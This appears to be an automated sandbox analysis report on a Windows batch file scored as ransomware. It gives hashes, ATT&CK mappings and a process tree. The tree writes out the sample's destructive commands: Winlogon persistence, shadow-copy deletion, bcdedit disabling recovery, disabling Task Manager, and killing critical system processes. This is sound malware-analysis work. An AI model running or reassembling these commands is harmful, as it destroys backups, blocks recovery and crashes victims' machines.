22e77448b1240d4fe54fb374f8f659cc22bdd4c6f2138bee2f4aef32f16d16e5

Analysis

max time kernel
60s
max time network
23s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/06/2026, 22:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
f17dc138_.bat
Size 865B
Sample260624-2gp3vsgs2m
SHA256 22e77448b1240d4fe54fb374f8f659cc22bdd4c6f2138bee2f4aef32f16d16e5
MD5 a8ba5431612cb126fceb1121d778a2da
SHA1 3a84cfed184ddfc15c4167a734a9c6c4eb14e902
SHA512 1e669c8f769dea163c834d83324bd45b0df9695eb7a38ab8535f3bf4f0faaaf60f96b877223e3b7814325c92655622fbb05271fb8601e65d58c335cf3c1f9cd4
TLSH
T17C11A30115478722E652E4E0C5062543F36BF24B5831AD60B15370B8AD7D188CAFEFED
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion evasion execution impact persistence ransomware

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Local\\Temp\\payload.bat"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1052	bcdedit.exe
2360	bcdedit.exe

Disables Task Manager via registry modification
defense_evasion

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2284	vssadmin.exe

Kills process with taskkill 4 IoCs

defense_evasion

pid	Process
5032	taskkill.exe
1180	taskkill.exe
3712	taskkill.exe
2304	taskkill.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeBackupPrivilege	4504	vssvc.exe
Token: SeRestorePrivilege	4504	vssvc.exe
Token: SeAuditPrivilege	4504	vssvc.exe
Token: SeDebugPrivilege	2304	taskkill.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1848 wrote to memory of 972	1848	cmd.exe	87
PID 1848 wrote to memory of 552	1848	cmd.exe	88
PID 1848 wrote to memory of 2284	1848	cmd.exe	89
PID 1848 wrote to memory of 2360	1848	cmd.exe	92
PID 1848 wrote to memory of 1052	1848	cmd.exe	93
PID 1848 wrote to memory of 2812	1848	cmd.exe	94
PID 1848 wrote to memory of 2304	1848	cmd.exe	95
PID 1848 wrote to memory of 5032	1848	cmd.exe	100
PID 1848 wrote to memory of 1180	1848	cmd.exe	101
PID 1848 wrote to memory of 3712	1848	cmd.exe	102

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\f17dc138_.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1848
- C:\Windows\system32\cacls.exe
  "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
  2⤵
  PID:972
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, C:\Users\Admin\AppData\Local\Temp\payload.bat" /f
  2⤵
  - Modifies WinLogon for persistence
  PID:552
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /for=c: /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2284
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2360
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1052
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:2812
- C:\Windows\system32\taskkill.exe
  taskkill /f /im lsass.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2304
- C:\Windows\system32\taskkill.exe
  taskkill /f /im wininit.exe
  2⤵
  - Kills process with taskkill
  PID:5032
- C:\Windows\system32\taskkill.exe
  taskkill /f /im services.exe
  2⤵
  - Kills process with taskkill
  PID:1180
- C:\Windows\system32\taskkill.exe
  taskkill /f /im csrss.exe
  2⤵
  - Kills process with taskkill
  PID:3712